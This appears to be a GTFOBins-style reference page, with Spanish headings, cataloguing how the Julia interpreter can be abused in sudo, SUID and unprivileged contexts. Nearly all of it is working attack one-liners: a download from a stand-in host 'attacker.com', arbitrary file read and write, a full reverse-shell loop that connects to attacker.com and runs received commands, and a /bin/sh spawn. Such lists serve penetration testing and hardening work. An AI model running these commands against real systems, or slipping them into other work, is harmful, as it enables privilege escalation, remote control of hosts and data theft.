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root@defcon-rd // ./arsenal/gtfobins/julia

julia

/ binary
julia
/ functions
5
/ contexts
3
/ aliases
./julia --examples

Funciones y ejemplos de uso

download

sudo suid unprivileged
julia -e 'download("http://attacker.com/path/to/input-file", "/path/to/output-file")'

file-read

sudo suid unprivileged
julia -e 'print(open(f->read(f, String), "/path/to/input-file"))'

file-write

sudo suid unprivileged
julia -e 'open(f->write(f, "DATA"), /path/to/output-file, "w")'

reverse-shell

sudo suid unprivileged
julia -e 'using Sockets; sock=connect("attacker.com", parse(Int64, 12345)); while true; cmd = readline(sock); if !isempty(cmd); cmd = split(cmd); ioo = IOBuffer(); ioe = IOBuffer(); run(pipeline(`$cmd`, stdout=ioo, stderr=ioe)); write(sock, String(take!(ioo)) * String(take!(ioe))); end; end;'

shell

sudo suid unprivileged
julia -e 'run(`/bin/sh`)'
./related --binary=julia

Binarios relacionados

Comparten al menos una función con julia.

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